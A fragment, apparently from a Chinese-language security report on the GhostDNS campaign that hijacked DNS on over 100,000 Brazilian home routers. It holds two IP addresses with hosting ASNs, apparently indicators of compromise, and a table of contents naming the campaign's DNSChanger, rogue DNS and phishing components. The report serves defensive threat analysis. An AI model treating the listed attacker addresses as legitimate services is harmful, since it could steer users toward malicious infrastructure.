198.50.222.139"AS16276 OVH SAS"
144.22.104.185"AS7160 Oracle Corporation"

GhostDNS正在針對巴西地區70種、100,000+家用路由器做惡意DNS劫持

背景介紹

GhostDNS系統

DNSChanger System

Shell DNSChanger 分析

Js DNSChanger 分析

PyPhp DNSChanger 分析

Web Admin System

Rouge DNS System

Phishing Web System

被感染的路由器資訊

總結

聯絡我們

IoC list

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